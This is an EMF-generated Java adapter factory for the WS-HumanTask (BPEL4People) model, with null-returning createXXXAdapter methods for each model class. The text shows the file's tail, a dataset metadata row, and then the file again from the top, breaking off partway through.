* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRenderings
* @generated
*/
public Adapter createTRenderingsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTask <em>TTask</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTask
* @generated
*/
public Adapter createTTaskAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTaskInterface <em>TTask Interface</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTaskInterface
* @generated
*/
public Adapter createTTaskInterfaceAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTasks <em>TTasks</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTasks
* @generated
*/
public Adapter createTTasksAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TText <em>TText</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TText
* @generated
*/
public Adapter createTTextAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToPart <em>TTo Part</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToPart
* @generated
*/
public Adapter createTToPartAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToParts <em>TTo Parts</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TToParts
* @generated
*/
public Adapter createTToPartsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TUserlist <em>TUserlist</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TUserlist
* @generated
*/
public Adapter createTUserlistAdapter() {
return null;
}
/**
* Creates a new adapter for the default case.
* <!-- begin-user-doc -->
* This default implementation returns null.
* <!-- end-user-doc -->
* @return the new adapter.
* @generated
*/
public Adapter createEObjectAdapter() {
return null;
}
} //htdAdapterFactory
| UTF-8 | Java | 34,832 | java | htdAdapterFactory.java | Java | [] | null | [] | /**
* <copyright>
* </copyright>
*
* $Id$
*/
package org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.util;
import org.eclipse.emf.common.notify.Adapter;
import org.eclipse.emf.common.notify.Notifier;
import org.eclipse.emf.common.notify.impl.AdapterFactoryImpl;
import org.eclipse.emf.ecore.EObject;
import org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.*;
/**
* <!-- begin-user-doc -->
* The <b>Adapter Factory</b> for the model.
* It provides an adapter <code>createXXX</code> method for each class of the model.
* <!-- end-user-doc -->
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.htdPackage
* @generated
*/
public class htdAdapterFactory extends AdapterFactoryImpl {
/**
* The cached model package.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected static htdPackage modelPackage;
/**
* Creates an instance of the adapter factory.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public htdAdapterFactory() {
if (modelPackage == null) {
modelPackage = htdPackage.eINSTANCE;
}
}
/**
* Returns whether this factory is applicable for the type of the object.
* <!-- begin-user-doc -->
* This implementation returns <code>true</code> if the object is either the model's package or is an instance object of the model.
* <!-- end-user-doc -->
* @return whether this factory is applicable for the type of the object.
* @generated
*/
@Override
public boolean isFactoryForType(Object object) {
if (object == modelPackage) {
return true;
}
if (object instanceof EObject) {
return ((EObject)object).eClass().getEPackage() == modelPackage;
}
return false;
}
/**
* The switch that delegates to the <code>createXXX</code> methods.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected htdSwitch<Adapter> modelSwitch =
new htdSwitch<Adapter>() {
@Override
public Adapter caseDocumentRoot(DocumentRoot object) {
return createDocumentRootAdapter();
}
@Override
public Adapter caseTArgument(TArgument object) {
return createTArgumentAdapter();
}
@Override
public Adapter caseTBooleanExpr(TBooleanExpr object) {
return createTBooleanExprAdapter();
}
@Override
public Adapter caseTDeadline(TDeadline object) {
return createTDeadlineAdapter();
}
@Override
public Adapter caseTDeadlineExpr(TDeadlineExpr object) {
return createTDeadlineExprAdapter();
}
@Override
public Adapter caseTDeadlines(TDeadlines object) {
return createTDeadlinesAdapter();
}
@Override
public Adapter caseTDelegation(TDelegation object) {
return createTDelegationAdapter();
}
@Override
public Adapter caseTDescription(TDescription object) {
return createTDescriptionAdapter();
}
@Override
public Adapter caseTDocumentation(TDocumentation object) {
return createTDocumentationAdapter();
}
@Override
public Adapter caseTDurationExpr(TDurationExpr object) {
return createTDurationExprAdapter();
}
@Override
public Adapter caseTEscalation(TEscalation object) {
return createTEscalationAdapter();
}
@Override
public Adapter caseTExpression(TExpression object) {
return createTExpressionAdapter();
}
@Override
public Adapter caseTExtensibleElements(TExtensibleElements object) {
return createTExtensibleElementsAdapter();
}
@Override
public Adapter caseTExtensibleMixedContentElements(TExtensibleMixedContentElements object) {
return createTExtensibleMixedContentElementsAdapter();
}
@Override
public Adapter caseTExtension(TExtension object) {
return createTExtensionAdapter();
}
@Override
public Adapter caseTExtensions(TExtensions object) {
return createTExtensionsAdapter();
}
@Override
public Adapter caseTFrom(TFrom object) {
return createTFromAdapter();
}
@Override
public Adapter caseTGenericHumanRole(TGenericHumanRole object) {
return createTGenericHumanRoleAdapter();
}
@Override
public Adapter caseTGrouplist(TGrouplist object) {
return createTGrouplistAdapter();
}
@Override
public Adapter caseTHumanInteractions(THumanInteractions object) {
return createTHumanInteractionsAdapter();
}
@Override
public Adapter caseTImport(TImport object) {
return createTImportAdapter();
}
@Override
public Adapter caseTLiteral(TLiteral object) {
return createTLiteralAdapter();
}
@Override
public Adapter caseTLocalNotification(TLocalNotification object) {
return createTLocalNotificationAdapter();
}
@Override
public Adapter caseTLogicalPeopleGroup(TLogicalPeopleGroup object) {
return createTLogicalPeopleGroupAdapter();
}
@Override
public Adapter caseTLogicalPeopleGroups(TLogicalPeopleGroups object) {
return createTLogicalPeopleGroupsAdapter();
}
@Override
public Adapter caseTNotification(TNotification object) {
return createTNotificationAdapter();
}
@Override
public Adapter caseTNotificationInterface(TNotificationInterface object) {
return createTNotificationInterfaceAdapter();
}
@Override
public Adapter caseTNotifications(TNotifications object) {
return createTNotificationsAdapter();
}
@Override
public Adapter caseTOrganizationalEntity(TOrganizationalEntity object) {
return createTOrganizationalEntityAdapter();
}
@Override
public Adapter caseTParameter(TParameter object) {
return createTParameterAdapter();
}
@Override
public Adapter caseTPeopleAssignments(TPeopleAssignments object) {
return createTPeopleAssignmentsAdapter();
}
@Override
public Adapter caseTPresentationElements(TPresentationElements object) {
return createTPresentationElementsAdapter();
}
@Override
public Adapter caseTPresentationParameter(TPresentationParameter object) {
return createTPresentationParameterAdapter();
}
@Override
public Adapter caseTPresentationParameters(TPresentationParameters object) {
return createTPresentationParametersAdapter();
}
@Override
public Adapter caseTPriority(TPriority object) {
return createTPriorityAdapter();
}
@Override
public Adapter caseTQuery(TQuery object) {
return createTQueryAdapter();
}
@Override
public Adapter caseTReassignment(TReassignment object) {
return createTReassignmentAdapter();
}
@Override
public Adapter caseTRendering(TRendering object) {
return createTRenderingAdapter();
}
@Override
public Adapter caseTRenderings(TRenderings object) {
return createTRenderingsAdapter();
}
@Override
public Adapter caseTTask(TTask object) {
return createTTaskAdapter();
}
@Override
public Adapter caseTTaskInterface(TTaskInterface object) {
return createTTaskInterfaceAdapter();
}
@Override
public Adapter caseTTasks(TTasks object) {
return createTTasksAdapter();
}
@Override
public Adapter caseTText(TText object) {
return createTTextAdapter();
}
@Override
public Adapter caseTToPart(TToPart object) {
return createTToPartAdapter();
}
@Override
public Adapter caseTToParts(TToParts object) {
return createTToPartsAdapter();
}
@Override
public Adapter caseTUserlist(TUserlist object) {
return createTUserlistAdapter();
}
@Override
public Adapter defaultCase(EObject object) {
return createEObjectAdapter();
}
};
/**
* Creates an adapter for the <code>target</code>.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @param target the object to adapt.
* @return the adapter for the <code>target</code>.
* @generated
*/
@Override
public Adapter createAdapter(Notifier target) {
return modelSwitch.doSwitch((EObject)target);
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.DocumentRoot <em>Document Root</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.DocumentRoot
* @generated
*/
public Adapter createDocumentRootAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TArgument <em>TArgument</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TArgument
* @generated
*/
public Adapter createTArgumentAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TBooleanExpr <em>TBoolean Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TBooleanExpr
* @generated
*/
public Adapter createTBooleanExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadline <em>TDeadline</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadline
* @generated
*/
public Adapter createTDeadlineAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlineExpr <em>TDeadline Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlineExpr
* @generated
*/
public Adapter createTDeadlineExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlines <em>TDeadlines</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlines
* @generated
*/
public Adapter createTDeadlinesAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDelegation <em>TDelegation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDelegation
* @generated
*/
public Adapter createTDelegationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDescription <em>TDescription</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDescription
* @generated
*/
public Adapter createTDescriptionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDocumentation <em>TDocumentation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDocumentation
* @generated
*/
public Adapter createTDocumentationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDurationExpr <em>TDuration Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDurationExpr
* @generated
*/
public Adapter createTDurationExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TEscalation <em>TEscalation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TEscalation
* @generated
*/
public Adapter createTEscalationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExpression <em>TExpression</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExpression
* @generated
*/
public Adapter createTExpressionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleElements <em>TExtensible Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleElements
* @generated
*/
public Adapter createTExtensibleElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleMixedContentElements <em>TExtensible Mixed Content Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleMixedContentElements
* @generated
*/
public Adapter createTExtensibleMixedContentElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtension <em>TExtension</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtension
* @generated
*/
public Adapter createTExtensionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensions <em>TExtensions</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensions
* @generated
*/
public Adapter createTExtensionsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TFrom <em>TFrom</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TFrom
* @generated
*/
public Adapter createTFromAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGenericHumanRole <em>TGeneric Human Role</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGenericHumanRole
* @generated
*/
public Adapter createTGenericHumanRoleAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGrouplist <em>TGrouplist</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGrouplist
* @generated
*/
public Adapter createTGrouplistAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.THumanInteractions <em>THuman Interactions</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.THumanInteractions
* @generated
*/
public Adapter createTHumanInteractionsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TImport <em>TImport</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TImport
* @generated
*/
public Adapter createTImportAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLiteral <em>TLiteral</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLiteral
* @generated
*/
public Adapter createTLiteralAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLocalNotification <em>TLocal Notification</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLocalNotification
* @generated
*/
public Adapter createTLocalNotificationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroup <em>TLogical People Group</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroup
* @generated
*/
public Adapter createTLogicalPeopleGroupAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroups <em>TLogical People Groups</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroups
* @generated
*/
public Adapter createTLogicalPeopleGroupsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotification <em>TNotification</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotification
* @generated
*/
public Adapter createTNotificationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotificationInterface <em>TNotification Interface</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotificationInterface
* @generated
*/
public Adapter createTNotificationInterfaceAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotifications <em>TNotifications</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotifications
* @generated
*/
public Adapter createTNotificationsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TOrganizationalEntity <em>TOrganizational Entity</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TOrganizationalEntity
* @generated
*/
public Adapter createTOrganizationalEntityAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TParameter <em>TParameter</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TParameter
* @generated
*/
public Adapter createTParameterAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPeopleAssignments <em>TPeople Assignments</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPeopleAssignments
* @generated
*/
public Adapter createTPeopleAssignmentsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationElements <em>TPresentation Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationElements
* @generated
*/
public Adapter createTPresentationElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameter <em>TPresentation Parameter</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameter
* @generated
*/
public Adapter createTPresentationParameterAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameters <em>TPresentation Parameters</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameters
* @generated
*/
public Adapter createTPresentationParametersAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPriority <em>TPriority</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPriority
* @generated
*/
public Adapter createTPriorityAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TQuery <em>TQuery</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TQuery
* @generated
*/
public Adapter createTQueryAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TReassignment <em>TReassignment</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TReassignment
* @generated
*/
public Adapter createTReassignmentAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRendering <em>TRendering</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRendering
* @generated
*/
public Adapter createTRenderingAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRenderings <em>TRenderings</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRenderings
* @generated
*/
public Adapter createTRenderingsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTask <em>TTask</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTask
* @generated
*/
public Adapter createTTaskAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTaskInterface <em>TTask Interface</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTaskInterface
* @generated
*/
public Adapter createTTaskInterfaceAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTasks <em>TTasks</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TTasks
* @generated
*/
public Adapter createTTasksAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TText <em>TText</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
